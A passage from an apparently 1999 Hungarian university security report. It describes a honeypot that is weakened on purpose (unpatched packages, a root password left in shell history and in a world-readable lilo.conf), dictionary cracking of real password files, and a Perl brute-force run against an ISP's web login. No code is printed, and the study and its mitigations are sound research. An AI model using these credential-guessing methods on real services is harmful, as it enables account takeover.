kezébe, ami veszélyt jelenthet számára. Úgy gondolja, hogy biztonságban van, közben pedig nem, ı́gy viszont jóval nagyobb baj érheti, mint ha megfelelően óvatos lenne. 2.27 További teendők; a betörő csalogatása A logolás fő feladatait ezzel megoldottuk. Már csak egy pár apró lépést kell tenni annak érdekében, hogy pontosan tudjuk, mikor mi történik a rendszerünkön. El kell helyezni apró trükköket: • A belépés után automatikusan lefutó programok (például a .bashrc vagy a .profile scriptek) belsejébe elhelyezhetünk figyelmeztető rutinokat, melyek E-mail-ben figyelmeztetnek, ha valaki az adott felhasználó nevén belépett • Megváltoztathatjuk az rm (fájl törlés) parancsot, hogy a törölt fájlokat ne törölje véglegesen, csak egy ideiglenes helyre rakja át. Fontos, hogy a felinstallált, és feltört rendszerünkben már mi sem bı́zhatunk, ı́gy egyrészt érdemes

archiválni a rendszerünket egy esetleges betörés előtt, illetve célszerű minden fájlról ujjlenyomatot (fingerprint) venni. 31 A [3]-ben kifejtett módon például a tripwire programmal MD5 aláı́rásokat tárolhatunk a felrakott programokról ı́gy a rendszer állapotát folyamatosan ellenőrizhetjük. Fontos, és elengedhetetlen lépés, hogy kirakjunk a belépéskor egy figyelmeztető üzenetet 4 . Ez tartalmazza azt, hogy a rendszert csak engedélyezett felhasználók használhatják, és hogy minden billentyűleütést montirozhatunk. Erre a jog visszássága miatt mindenképpen jobb odafigyelni, hiszen esetleg mi ugyan nem tudjuk beperelni a betörőt, de a betörő beperelhet minket az illetéktelen lehallgatásért. Az apróbb trükkök közé tartozik még a figyelem felkeltése és koncentrálása. Érdemes a gép nevét úgy megválasztani, hogy az könnyen potenciális betörők célpontja

legyen. Például egy ns2bmehu cı́met bármely betörő érdekesnek találhatja. Hasonló eszköz például a finger információk meghamisı́tása. Mi a már megı́rt decfingerd programot használtuk, melynél szöveges fájlokban tárolt hamis információ kerül kiı́rásra a felhasználó képernyőre. Ebből megtudhatja, hogy egy ,,guest” nevű és egy ,,hallgato” felhasználó is be van lépve a rendszerbe. Ezután szabadon eldönthető, hogy legyen-e tényleges ,,guest” felhasználó, vagy csak az erre érkező kı́sérleteket kövessük Ez alkalmas lehet egy valódi rendszer védelmére is (Például azonnal letiltjuk annak a gépnek a hozzáférését a rendszerünkhöz, amelyik a ,,guest” azonosı́tóra próbál belépést kezdeményezni.) Megtehetjük azt is, hogy a ,,guest” felhasználónak nem adunk jelszót, vagy nagyon egyszerű jelszót használunk a belépés

megkönnyı́tésére. Mi azt a módszert választottuk, hogy a ,,guest” felhasználónak guest a jelszava, ám alapesetben csak egy lynx webbrowser program indul el a .profile-ból, majd ennek befejezésével a rendszer a felhasználót kilépteti. Ez azért jó módszer, mert az esetleges betörő nem csodálkozik nagyon, nem gyanı́t semmit, ugyanakkor a lynx-ből kis trükkel hamar shell -elérést tud csinálni. Így egy kicsit már ekkor megdolgoztatjuk a betörőt, és esetleges gyanúját a túl könnyű belépésről elterelhetjük. Miután a felhasználó belépett, és szeretné a gépet feltörni, erre is módot kell adni. Mivel a Debian programrendszert megfelelően frissı́tik, ı́gy nem könnyű olyan állapotban hagyni a gépet, hogy az jól feltörhető legyen. Erről úgy gondoskodtunk, hogy a 1999. márciusi (7 hónapos) változatot raktuk fel, és az azóta fellelt hibák javı́tását

tartalmazó csomagokat nem frissı́tettük. Pár további apróságot is elhelyeztünk a feltörhetőség érdekében: 4 A mi gépeinken az alábbi üzenet olvasható belépés után: Access to this system is monitored. Unauthorized access is prohibited Violators will be referred for prosecution 32 • a ,,root” felhasználó (a rendszergazda) shell -jének naplójában (bash history) ,,véletlenül” fellelhető a root-jelszó, • az /etc/lilo.conf 5 -ban elhelyeztünk egy jelszavas védelmet Itt a jelszó szabadon olvasható formában van rögzı́tve. Ezt a jelszót a root-jelszóval választottuk azonosra. Ezt fájlt rendes körülmények között ilyenkor csak a root felhasználó olvashatja, azonban ezt a védelmet mi kikapcsoltuk, ı́gy gyakorlatilag bárki megtudhatja ezt a jelszót. Még számtalan hasonló trükköt lehet elhelyezni a rendszerben, ezek által az esetleges betörő hamar ,,nem megengedett”

jogosultságokat tud szerezni. A csapdaszámı́tógép ı́gy tehát gyakorlatilag készen van. Most már csak várni kell a betörőket, és vizsgálni, mit csinálnak. 2.3 Összegzés a csapdaszámı́tógépről A csapdaszámı́tógép egy olyan megoldás, melyet a korábban emlı́tett intuitı́v módszerek segı́tségével hoztunk létre. A csapdaszámı́tógép egy kombinált rendszer, amely magán hordozza az IDS rendszerek sajátosságait (a betörő megfigyelése), de természetesen alkalmazza a jól bevált további módszereket. Ilyenek a riasztások, fájlok auditálása, naplózás, a kapcsolódó firewall, szűrés, stb. A csapda ötlete magunktól származott, ám később a szakirodalmat megvizsgálva kiderült, más is valósı́tott meg ilyen, vagy hasonló gépet, ezt a szakirodalom honeypot-nak nevezi. A mi megoldásunk több eszközzel túlmutat ezeken, például a titkosı́tott SSH

adatfolyam megfigyelésének módszere. (A fent emlı́tett hasonló rendszerekről egészen pontos információk nem állnak rendelkezésünkre, ezért érdemleges öszzehasonlı́tást nem tudtunk végezni.) Fontos dolog, hogy a csapda létezése miatt az eddig meglevő rendszerünk biztonsága is változott. Úgy sejtjük, hogy nem csökkent a biztonság, mivel megfelelően alkalmaztuk a csomagszűrés módszerét, nem használtunk azonos jelszavakat stb., azonban oda kell figyelni arra a továbbiakban, hogy a többi hálózati eszközünket biztonságosan kezelni tudjuk. 2.4 A csapda jövője A csapdaszámı́tógépet beüzemelése után viszonylag rövid ideig tudtuk használni. Ezalatt az idő alatt, noha több módszerrel megpróbáltuk kı́vánatos 5 LILO: Linux Loader, a Linux rendszer betöltő programja; a /etc/lilo.conf a LILO konfigurációs fájlja. 33 célponttá tenni a számı́tógépet, nem

sikerült valódi betörési kı́sérletet detektálnunk. A valódi betörési kı́sérletek vizsgálatához több gyenge pontot, és több, egy esetleges betörőnek hasznos információt kell még a számı́tógépre menteni. A csapda szoftverkonfigurációjában is további fejlesztéseket lehetne eszközölni. A lehallgatható SSH-naplózást fel kellene váltani egy minimális módon titkosı́tott naplózással, amely nem olyan feltűnő egy betörő számára. Fontos lenne átgondolni a naplózás hálózaton át történő voltát és kipróbálni a párhuzamos interfészen keresztül történő naplózást. Ekkor az adatokat vagy nyomtatóra lehet küldeni, vagy a másik számı́tógéppel összekötve továbbra is ugyanoda kerülhetnek a logok, mint eddig. Miután a csapda elég adatott gyűjtött, vagy megfelelő betörésről kapunk információt, komoly gondot fog jelenteni az

összegyűjtött adatok szűrése és kiértékelése. Mivel regiment dolgot naplózunk, ezért nagyon sok információból kell kiválasztani a fontosakat és a megbı́zhatókat. A csapdaszámı́tógép egy adott környezetben csak korlátos ideig használható. Egy idő után a hackerek csoportja is rájöhet arra, hogy csapdáról van szó, illetve meg kell a csoportot, egyént gátolni abban, hogy a csapdaszámı́tógépen keresztül további gépek integritását sértse meg. Ezért tehát a csapda nem szabad, hogy állandóan igen könnyen feltörhető legyen, viszont ha nem könnyen feltörhető, akkor hosszabb távon is működtethető lehet. Célszerűnek látszik a csapdaszámı́tógép helyének változtatása, természetesen a konfiguráció átépı́tésével, ı́gy mindig más helyen, intézményben végezhetőek vele megfigyelések. 34 Fejezet 3 Egy egyszerű Web-es biztonsági

probléma Az elhangzottak alapján szerettünk volna egy egyszerű szemléltetőeszközt találni olyan biztonsági problémára, amely nem magától értetődő, és avatott szem sem látja pontosan a probléma súlyosságát. Ezt probáljuk meg megvizsgálni és az emlı́tett szempontok alapján értékelni. Egyszerű problémánkat az üzleti életből vettük. Ez egy valós, gyakorlati eset, amely ma is az általunk vázolt módon működik. 3.1 3.11 A jelszavakról Konkrét jelszó-gyűjtemények vizsgálata Saját vizsgálatokat is végeztünk, hogy vajon mennyire használnak ma Magyarországon biztonságos jelszavakat. Ehhez két rendszert vizsgáltunk meg: Az egyik egy egyetemi szerver 310 felhasználói azonosı́tóval, a másik egy magyar Internet-szolgálató jelszólistája kb. 3700 felhasználóval A jelszófájlokat kb. 2-3 napig vizsgáltuk, törtük fel egy közepes kapacitású PC

segı́tségével A jelszófeltöréshez használt szótárak a következők voltak: • a felhasználói adatokból (teljes név, loginnév) nyert primitı́v variációk, • angol szótár (nagysága kb. 2 Mbyte), 35 • magyar szótár, • és magyar IRC beszélgetések egy adott időtartama alatt általunk rögzı́tett szövegeiből adódó szógyűjtemény. A szótárakon pár módosı́tási szabályt alkalmaztunk, például a jelszo szó esetén kipróbáltuk a Jelszo, jelszo1, jelszo2 . szavakat is A jelszófeltörés tekintélyes múltjában a feltörhető jelszavak ilyen esetekben 25% körül mozogtak. A jelszófeltörés a nagy sebesség olcsó PC-k tömeges elterjedésével lett divatos, ez kb. 5-6 évvel ezelőtt tetőzött Azóta a jelszóhasználat szigorodott, számtalan helyen és formában olvashatunk jelszóválasztási jótanácsokat és kötelezően betartandó dolgokat. Az

egyik ilyen tréfás felhı́vás a következő: Passwords Passwords Passwords Passwords Passwords are are are are are like like like like like underwear underwear underwear underwear underwear change yours often don’t share them with friends the longer the better be mysterious don’t leave yours (f)lying around (Kari Roberts ¡karir@umich.edu¿ posztere, Michigan) Jogos lenne tehát az elvárás, hogy a jelszavak ma már nem olyan könnyen feltörhetőek mint évekkel korábban. Igaz persze az is, hogy sokkal több olyan ember is kapott Internet-hozzáférést, akit nem érdekel a rendszer biztonsága, ők nem fognak bonyolult jelszót használni, ha nem kényszerı́tik rá őket. Nézzük viszont az eredményeket: • Az egyetemi gép esetében 90 jelszó bizonyult gyengének már erre az egyszerű tesztre is, és 224 nem volt feltörhető. • Az Internet-szolgáltató esetében 625 jelszó volt feltörhető, és 3064 db jelszó

állta ki a próbát. Az első esetben 29% volt a feltörhető kódok száma, mı́g a második esetben 17%. Az már az első pillanatban is megállapı́tható, hogy a jelszavak nem lettek biztonságosabbak az elmúlt években. Azt is jó látni, hogy az egyetemi szerveren magasabb iskolázottsági fokú emberek, inkább hozzáértő felhasználók voltak, mégis ugyanolyan rossz, vagy még rosszabb jelszavakat használtak. Ennek egyik oka lehet, hogy nem ezzel a területtel foglalkoznak az egyetemen, másik oka lehet, hogy több helyen van felhasználói azonosı́tójuk, ı́gy nem tudnak minden helyen egyszerre megfelelp minségű, ugyanakkor megjegyezhető jelszót használni. 36 Az Internet-szolgáltató esetén az alacsonyabb eredménynek az is egy magyarázata, hogy kevesebb esetet próbáltunk végig, mivel a több jelszó miatt a kı́sérletezés is lassabb volt. További vizsgálatok alá vetettük a fenti

jelszófájlokat. A feltört jelszavak a következképpen oszlanak meg: • Az egyetemi szerveren feltört 90 jelszóból 21 közvetlenül a felhasználói azonosı́tó alapján lett kiderı́tve, 69 pedig szótárak alapján. (23% + 76%). A szolgáltató jelszófájljánál ez az arány 124 (625-ből) illetve 501, ami 20%-ot és 80%-ot jelent. Mint látható, szignifikáns különbség a megoszlásban nincsen. 3.12 Vizsgálat az Internet Worm adatbázis alapján Ezután még egy érdekes vizsgálatot végeztünk: Megvizsgáltuk, hogy a régi hı́res ,,Internet Worm” által tartalmazott 432 leggyakoribb jelszót használták-e ezeken a gépeken. Az egyetemi gépen egy ilyen jelszó volt (érdekességként: einstein, ez a feltört jelszavak 1,1%-a), mı́g az Internet-szolgáltatónál 23 ilyen jelszó volt (a feltört jelszavakból ez 3,68%). Meglepő dolog, hogy ha nagyobb rendszert nézünk, akkor még ma is igen

nagy valószı́nűséggel találunk ilyen egyszerű jelszavakat. Nos, ezek a jelszófeltörési kı́sérletek természetesen csak a kódolt jelszavakat tartalmazó jelszófájl birtokában tehetek meg. Ahol tehát shadow 1 rendszert használnak, ott ilyen módszerrel nem lehet feltörni a gépet 3.13 Jelszavak frissessége Még a legjobb, legbiztosabbnak hitt jelszavak sem tarthatnak örökké. Ha sokáig használnak egy adott jelszót, megnő az esélye, hogy azt valaki lehallgatta, vagy más úton birtokába jutott. Az ı́gy megszerzett jelszavakkal nem mindig élnek vissza azonnal, viszont biztonsági rést jelent a rendszeren. Elvárható tehát, hogy egy biztonságos rendszerben a jelszavakat időről időre megújı́tják. A jelszavak frissességének ellenőrzésére a mellékletekben csatolt forráskódú egyszerű PERL programot hoztunk létre. A programot végigfuttattuk az egyetemi jelszófájlon. A futtatás

a következő eredményt hozta: 1 Ebben az esetben csak a rendszergazda olvashatja el a kódolt jelszavakat tartalmazó fájlt, mı́g ha nem alkalmazunk ilyen védelmet, bárki hozzájuthat ezekhez az kényes információkhoz. 37 Kb. 320 jelszóból 3 hónap alatt 19 változott meg, ez a jelszavaknak csak mintegy 1/16-a. (Időközben 35 új felhasználót regisztráltak) Ezen adatok tükrében éves szinten is állandó marad a jelszavak jelentős része, ami komoly biztonsági problémát jelent. 3.2 Web-alapú támadási lehetőségek A következő példa tehát azt mutatja be, hogy az egyszerű védekezés nem mindig elégséges: Az egyik nagy, milliárdokat érő magyar Internet-szolgáltató a következő szolgáltatást nyújtja ügyfeleinek: Mivel az ügyfél az Interneten eltöltött idő alapján fizet a szolgáltatónak havi dı́jat, ezért a felhasználónak módja van lekérdezni, hogy mennyi

volt az adott hónapban az Interneten a szolgáltatónál eltöltött ideje. Ezt a szolgáltatást a felhasználó weben keresztül érheti el. A felhasználó a megadott weblap betöltése után kitölt egy szabványos web form-ot felhasználói azonosı́tójával, jelszavával. A felhasználó ezeket böngészője segı́tségével ,,CGI-POST” eljárással küldi tovább az Internet-szolgáltató szerverének. A szerver a beérkezett információk alapján megkeresi, létezik-e az adott felhasználó, jó-e a jelszava. Sikeres esetben kiı́rja a forgalmi adatokat, sikertelenség esetén közli a felhasználóval, hogy nem jó a jelszava Megjegyezzük, hogy ilyen szolgáltatást más, de hasonló formában majdnem minden hazai Internet-szolgáltató, ISP (Internet Service Provider) nyújt. 3.21 Egy lehetséges támadás A támadás az emlı́tett szolgáltatás ellen kézenfekvő: Írunk egy programot, amely

név és jelszó párosokkal kı́sérletezik, majd a válasznak megfelelően lementi a sikeres eredményeket. A program közvetlenül csatlakozhat a szerver web portjára, vagy alkalmazhatunk támogató programokat is. Mi a libwww-perl programcsomagot használtuk, és a PERL nyelvet. Bemenetként programunk egy név:jelszó listát kapott, ezt szekvenciálisan próbálta végig, majd a helyes párosı́tásokat egy kimeneti fájlban helyezte el. (A szekvenciális tesztelés nem eléggé hatékony, lehetne párhuzamosan több jelszót tesztelni, de a példa céljára elegendő ez az egyszerű eset.) Most már csak a név:jelszó páros előállı́tás volt a feladatunk. A szolgáltatónál minden felhasználó beléphet shell -be, és ott valamilyen tevékenységet végezhet, 38 például elolvashatja a leveleit. A gépen a kódolt jelszófájl nem hozzáférhető, viszont a felhasználói azonosı́tók

letölthetők. Ilyen módszerrel bármely felhasználó meg tudja szerezni a jelszólistát. Ez persze nem könnyű akkor, ha nincsen egyetlen felhasználó-azonosı́tónk sem az adott szolgáltatónál. Azonban a felhasználói azonosı́tók elég magas hányada létezik egy másik szolgáltatónál is (ennek pontos vizsgálata külön kı́sérleteket igényeléne), ı́gy a felhasználói azonosı́tókat is lehetne szótárfájl alapján tesztelni. Mi a konkrét esetben az ismert felhasználói azonosı́tókat dolgoztuk fel. A teszteléskor egy névhez csak kevés (kb. 6 db) jelszóval kı́sérletezgettünk Ennek egy példája a felhasználónév:felhasználónév jelszó-hozzárendelés. 3.22 Eredmények Körülbelül két éjszakai futtatással (ekkor gyorsabb az Internet elérés) 82 jelszót sikerült feltörni: • A ,,titok” jelszó 3 példányban fordult el, • a ,,password” jelszó 2

példányban, • a felhasználó saját neve, mint jelszó 72(!) példányban, • az ,,123456”, ,,eszter”, ,,attila” és még pár hasonló jelszó 1-1 példányban. Látható tehát, hogy ez a rendszer, csupán a felhasználói azonosı́tók tudatában, esetleg még anélkül is veszélyben van. Nem csak az okozhat gondot, hogy illetéktelen felhasználó más nevében telefonál, de az is, hogy a jogos felhasználónak keletkezhet ezáltal többletköltsége, hiszen a szolgáltató a felhasznált időtől függően számláz a felhasználók felé. 3.23 A probléma kiküszöbölése Hogy lehetett volna védekezni az ilyen tı́pusú támadások ellen? Tökéletes védekezés ebben az esetben sincs, de ez a rendszer abszolút megkönnyı́ti a feltörést, amit könnyen lehet lényegesen nehezebbé tenni: • Jó elgondolás a CGI program használata, ugyanis például egy standard Apache

webszerver esetén, ha a beépı́tett HTTP Basic Authentication azonosı́tást használjuk, akkor a példánkban ismertetetthez hasonló támadások ellen kevésbé védhetjük a rendszerünket. (A protokoll szerint a rendszer állapotmentes, ı́gy többszöri próbálkozásokat nem vesz észre.) (Más szolgáltatónál van HTTP Basic Authentication-re épülő megoldás.) 39 • A belépés különösen egyszerűen ellenőrizhető, mert a CGI program rögtön a válasz elején közli az eredményt: – Password authentication OK – Bad password – No such user Ezen válaszok ismeretében a létező felhasználó-nevek is könnyen kiderı́thetőek. • Ha készültek is naplófájlok a belépési kı́sérletekről, azokat senki nem ellenőrizte, a rendszergazda nem került riasztásra. • A többszöri rossz belépési kı́sérlet esetén a kı́sérletező gépet le lehetne tiltani. Azt is korlátozni

lehetne, hogy adott időn belül több jó belépés történjen ugyanarról a gépről. (Ám ez a proxy-szerverek használata miatt problémás.) • Minden egyes kı́sérlet alkalmával az eredmény közlését lehetne 1-5 másodperccel késleltetni, illetve a CGI program a válasz közlése után is tartalmazhatna késleltetést. Így az ilyen támadások esetén a programunknak minden egyes kı́sérlethez több időre lenne szüksége , ı́gy a feltörés lehetősége lerövidülne. Mint láthattuk, fontos észrevenni, hogy a legegyszerűbb szolgáltatás mekkora veszélyeket rejt, bár ezeknél sokkal durvább támadásoktól is tartani lehet. Az is látszik, hogy a legegyszerűbb jelszó-választás (azaz a maga a felhasználói név) kizárása az adott esetben 72 pontenciális áldozatot mentene meg a legalapvetőbb támadástól. 40 Összegzés Példákat mutattunk be arra, hogy mennyire fontos

az intuı́ció, a kreativı́tás akkor, ha biztonságról van szó. Hiába használjuk a legdrágább szoftvereket, a biztonság nem szavatolható, ellenben egyszerű eszközökkel is hatékonyan lehet védeni a fontos információkat. Példáinkkal arra is rávilágı́tottunk, hogy a hamis biztonságérzet milyen veszélyeket rejt magában, és hogy a legegyszerűbb számı́tógép-hálózati feladat is milyen átgondolást igényel. Látható, hogy a számı́tógépes biztonság, főleg a hálózati operációs rendszerek használata esetén még igen súlyos problémákat jelent. A virusveszélynél is jelentősebb ugyanis a kockázat, mert itt információ lopásra, valamint számtalan visszaélésre mód nyı́lik. A e-business egyre fejlődő ágazattá válásával egyre nagyobb az ,,Internetes létezés” szerepe. Az ágazati becslések szerint az infromatikai szektor, az internet és társai a

fejlett országokban komoly, 20-50%-os GDP részesedést érhetnek el az elkövetkező években. Ez az új (Internet alapú) gazdaság pedig igen megnövelt hangsúlyú biztonságpolitikát igényel. Jelenleg az ezen a területen jelentkező biztonsági kérdéseket hazánkban igen elszórtan oktatják csak, kisfokú strukturáltság mellett. Ezen a helyzeten változtatni kell, szükséges az átfogó, átgondolt és változatos oktatás és kutatás. Erre alapot biztosı́t a kutatók felkészültsége, hazánk egyetemeinek magas matematikai, algoritmuselméleti tudásszintje Fel kell azonban ismerni ennek a területnek a fontosságát, és meg kell szervezni a téma fajsúlyos kutatását. Meg kell teremteni a tudomány alapjait, az alaptankönyveket, alapoktatást. Erre azért van óriási szükség, mert alapok nélkül minden egyes kutatást szinte a nulláról kell indı́tani. Hivatkozási alapot, pezsgő

tudományos életet kell teremteni ezen a területen, csak ekkor képzelhető el az, hogy a témában komoly előrelépések történjenek. 41 Irodalomjegyzék [1] Common Criteria Project 1996, National Institute http://csrc.nistgov of Standards and Technology, USA [2] Common Criteria (CC), az informatikai termékek és rendszerek biztonsági értékelésének módszertana, Miniszterelnöki Hivatal, ITB, http://www.itbhu/ajanlasok/a16 [3] The design and implementation of Tripwire: A file system integrity checker. Gene Kim, Eugene H. Spafford Technical Report CSD-TR-93-071. Purdue University, 1993 [4] Firewalls and Internet Security, William R. Cheswick, Steve M Bellovin, Addison-Wesley, 1994. [5] Hypertext Transfer Protocol – HTTP/1.1, Fielding, R., Gettys, J, Mogul, J C, Frysyk, H, Masinter, L, Leach, P., Berners-Lee, T, Work In Progress of the HTTP working group, July, 1998. [6] Informatikai biztonság: Web-kapcsolatok biztonsága Bencsáth

Boldizsár, 1999, Önálló laboratóriumi beszámoló http://fermat.ebizlabhitbmehu/ boldi/biztonsag/w1bmedoc [7] Informatikai rendszerek biztonsági követelményei, Miniszterelnöki hivatal, ITB, 1996. http://www.itbhu/ajanlasok/a12 [8] Internet Domain Survey 1999, Internet Software Consortium http://www.iscorg/dsviewcgi?domainsurvey/WWW9907/reporthtml 42 [9] The Internet Worm Program: An Analysis Eugene H. Spafford Purdue Technical Report, CSD-TR-823, 1988 ftp://coast.cspurdueedu/pub/Purdue/papers/spafford/spaf-IWormpaper-CCRpsZ [10] The UK ITSEC scheme, http://www.itsecgovuk [11] Kevin Mitnick letartóztatása, 1995, http://www.takedowncom [12] Know Your Enemy: III Lance Spitzner, 1999 http://www.enteractcom/ lspitz/enemy3html [13] FAQ: Network Intrusion Detection Systems Robert Graham, Version 0.41, April 15, 1999 http://packetstorm.securifycom/docs/infosec/network-intrusiondetectionhtml [14] The Next Ten Years Roundtable . Volume 1 Issue 3 December 1998 Thomas

A. Longstaff and David A Fisher of the CERTR Coordination Center http://interactive.seicmuedu/Features/1998/December/Roundtable/roundtable dec98htm [15] Orange Book (TCSEC) http://www.itscstatemdus/info/internetsecurity/Regulations/OBSummaryhtml [16] VCR y PEO: Dos protocolos criptogràficos simples Emiliano Kargieman, Ariel Futoransky, 1995 illetve ennek módosı́tása (PEO revised Oct,1998) http://www.core-sdicom/english/publicationshtml, http://www.core-sdicom/soft/vcr-peodocgz, [17] Secure Syslog, http://ww.core-sdicom/englisg/slogging/ssysloghtml [18] Security of the Internet The Froehlich/Kent Encyclopedia of Telecommunications vol. 15 Marcel Dekker, New York, 1997, 231-255. http://www.certorg/encyc article/tocencychtml [19] A sensible password checker for Unix Alec D.E Muffet 1992 43 [20] Szerverek biztonságának növelése, Bencsáth Boldizsár, 1999, Kommunikációs Hálózatok laboratóriumi beszámoló http://fermat.ebizlabhitbmehu/

boldi/biztonsag/webszervbdoc [21] A Taxonomy of Computer Program Security Flaws Carl E. Landwehr, Alan R Bull, John P McDermott Information Technology Division, 1994, Naval Research Laboratory Washington D.C 20375-5337 [22] Védekezés rosszindulatú, szándékos programhibák ellen Hornák Zoltán, 1996. Diplomaterv, BME-MIT 44 Függelék A Rövidı́tések, magyarázatok CGI – (Common Gateway Interface). A CGI-t támogató böngészőprogramok szabványos módon teszik elérhetővé futtatható programok weblapokhoz csatolását. A futtatható program a legkülönbözőbb dolgokat végezheti, a weblap-számlálótól az adatbáziskezelésig rengeteg alkalmazása lehetséges. DNS – (Domain Name Service). Az Interneten a felhasználók számára értelmes neveket használnak gépek, szolgáltatások azonosı́tására, ezt a DNS rendszer segı́tségével alakı́tják át az egyértelmű IP azonosı́tókká

(számokká). Firewall – Az internetes hálózatban létrejött eszköz, mely egy védett hálózatot elválaszt egy nem kontrollált hálózattól, páldául az Internettől. Egyszerre elválaszt és összeköt, megpróbálja kiszűrni a gyanús, támadó szándékú, vagy felesleges információt kiszivárogtató adatokat, ugyanakkor kapcsolatot biztosı́t az Intranet (valamely szervezet belső hálózata) és az Internet között. FTP – (File Transfer Protocol). Az Internet egyik igen régi, fájlok átvitelére szolgáló autentikált protokoll. A bejelentkezés során a jelszavak kódolás nélkül mennek át a hálózaton. Javasolt helyette más, például SSL-es FTP, SCP használata. Hacker – A Hacker, Cracker pontos jelentésének definı́ciói változatosak. A hacker jelent jószándékú ,,ráérő” tı́pusú programozót, aki saját örömére átı́r programokat, hogy azok jobbak

legyenek. A hacker másik definı́ciója a cracker szóval mosódik, ekkor számı́tógépes bűnözőről beszélünk, aki számı́tógépbe, vagy számı́tógépes rendszerekbe jut be, azt illegálisan használja. Egyes hackerek nem is igazán értik amit csinálnak, ezért 45 további kategória az überhacker, aki a többi hackernél okosabb, ő ismeri fel az alapvető biztonsági hibákat. A hackerek nem szokták magunkat számı́tógépes bűnözőként azonosı́tani, még ha pusztitás is a szándékuk. Hackerek nélkül az Internet kevésbé lenne biztonságos IDEA – Szimmetrikus kódolási eljárás, gyorsabb mint a más célra szolgáló RSA, ı́gy pl. az SSH protokoll az authentikáció után ezt is használhatja HTTP protokoll – A WWW átviteli protokollja. Támogatja a jelszavas authentikációt, a legismertebb a HTTP Basic Authentication forma. HTTP Basic Authentication – A jelszavak

nyı́lt átvitelén alapuló, a UNIXos jelszavas autentikációra épı́tő protokoll. A többszöri próbálkozásokat naplózza, ám a protokoll állapotmentessége miatt a sokszori kı́sérletezést nem tiltja le. HUB – multiport repeater, az OSI hálózati modellben az 1. réteget tartalmazó hálózati berendezés, buta ismétlő Minden portján minden más portra érkező adat azonnal teljes formájában olvasható, ı́gy bármely átmenő titkosı́tatlan forgalom lehallgatható bármely porton. IDS – (Intrusion Detection System). Figyelő, analizáló és cselekvő rendszer vagy eszköz, mellyel rosszindulatú betörő vagy annak valamilyen cselekedete leleplezhető. IETF – (Internet Engineering Task Force). Az Internet működtetésével és fejlesztésével foglalkozó szervezet, melynek alszervezetei, bizottságai végzik a legfontosabb és legalapvetőbb internetes ,,szabványok” elfogadását.

IPchains – A Linux kernel IP szűrő (packet filtering firewall ) funkcióit beállı́tó segédprogram. Segı́tségével meghatározott hálózati forgalom tı́pusra, cél vagy forráscı́mre, portra kezdeményezhető szűrés. IP cı́m – Az Internet hálózatában a gépek egyértelmű azonosı́tását lehetővé tevő szám. IP Forwarding – A Linux kernelébe is beépı́tett funkció, segı́tségével IP adatokat lehet továbbküldeni más gépeknek, ı́gy egy gép valódi helye elrejthető. IP Redirecting – A Linux kernelébe beépı́tett szolgálatás, segı́tségével bizonyos gépekről, vagy gépekre menő bizonyos szolgáltatásokat speciális kiszolgálókhoz lehet irányı́tani. Így a felhasználó számára átlátszó, transzparens proxyszolgáltatás hozható létre. 46 IRC – (Internet Relay Chat). Az Internet egyik legrégebben létrejött közösségteremtő

beszélgető szolgálatása. Rengeteg további lehetőséget tartalmaz, online felhasználói száma jelenleg a világban százezer körülire tehető adott időpillanatban. Linux – Ingyenes UNIX operációs rendszer, fejlett TCP/IP hálózati támogatással. Mivel majdnem minden hozzá tartozó program forráskódszinten hozzáférhető, kitűnően alkalmas biztonsági problémák kezelésére, ellenőrzésére, kutatásra és fejlesztésre. Man-in-the-middle tı́pusú támadás – Ha egy hálózati forgalmat egy közbenső személy meg tud csapolni, akkor mód van arra, hogy ez a közbenső személy a hálózati forgalom mindkét résztvevője felé az eredeti partnernek adja ki magát. Nem megfelelő protokoll esetén ekkor egy egyszerű kódolt csatorna is dekódolhatóvá válhat. MD5 – Egy gyakorta használt hash függvény. Segı́tségével egy fájlról vagy más adathalmazról digitális

ujjlenyomat készı́thető. Különböző fájlokról különböző ujjlenyomat készül, nagyon nehéz találni még egy azonos újlenyomatú fájlt, ı́gy az ilyen aláı́rással a fájl integritása ellenőrizhető, persze ha az ujjlenyomatokat tartalmazó fájl nem sérül. Packet Filtering Firewall – Csomagszűrő biztonsági berendezés, csak bizonyos meghatározott portokra, irányokba engedi át csak a hálózati forgalmat. Egyszerű megvalósı́tása a Linux kernelébe van épı́tve, az ipfwadm, újabban ipchains paranccsal állı́tható be. Password – Jelszó, az adott felhasználó azonosı́tását lehetővé tevő jelhalmaz. A jelszavakat a mai rendszerek többsége nyı́lt szöveg formájában vagy kódolt változatban tárolja, a kódolt változat általában egyirányú függvénnyel titkosı́tott, ı́gy nem visszafejthető. A kódolt jelszó nem védett a szótári

próbálkozásoktól. A legelterjedtebb UNIX-os jelszórendszer DES algoritmust használ, maximum 56 bit hasznos információval, de a nyelvi sajátosságok miatt az átlagos információtartalom 30 bit körüli csak (vagy még kevesebb). [4, 13oldal] Patch – Javı́tás, hibajavı́tás, esetleg a fájlbeli különbségek kijegyzetelt változata. Promiscous mód – A hálózati csatoló válogatás nélküli módjára utaló kifejezés. Ilyenkor az Ethernet kártya minden adatot feldolgoz, nem csak az adott gépnek szóló adatokat. Proxy – Olyan program, vagy hálózati eszköz, amely egy kapcsolat harmadik résztvevője. A kérő felől adatot továbbı́t a cı́mzett fele és viszont A proxy egyrészt firewallok esetén alkalmas védekezni támadások ellen, másrészt pl. web esetén gyorsı́thatja az adatok letöltését (A gyakran 47 lekért dokumentumokat tárolja, nem tölti le újra, csak a

háttértárból frissı́ti.) Router – az OSI hálózati modelljének 3. rétegét érintő hálózati eszköz, útvonal-irányı́tó és csomagszűrő: Az adatcsomagokat TCP/IP szinten elemzi és a megfelelő irányban küldi tovább, vagy dobja el. Az irányı́tás folyamata maga több logikára épülhet, ı́gy biztonsági problémákat is rejthet magában. RSA – Rivest-Shamir-Adleman nyilvános kulcsú titkosı́tó eljárása, az SSH v1 protokoll, illetve például a PGP bizonyos verziói tartalmazzák. Shell – Felhasználói interfész, interaktı́v eszköz, lehetőséget teremt parancsok kiadására, fájlok elérésére, egyszerű programok ı́rására. UNIX rendszerek, valamint a DOS alapja, de Windows környezetben is létezik mind beépı́tett, mint UNIX-hoz hasonló shell. Socket – A TCP/IP protokollon belül a szolgáltatások azonosı́tásáért felel. Egy TCP/IP kapcsolat a (tı́pus,

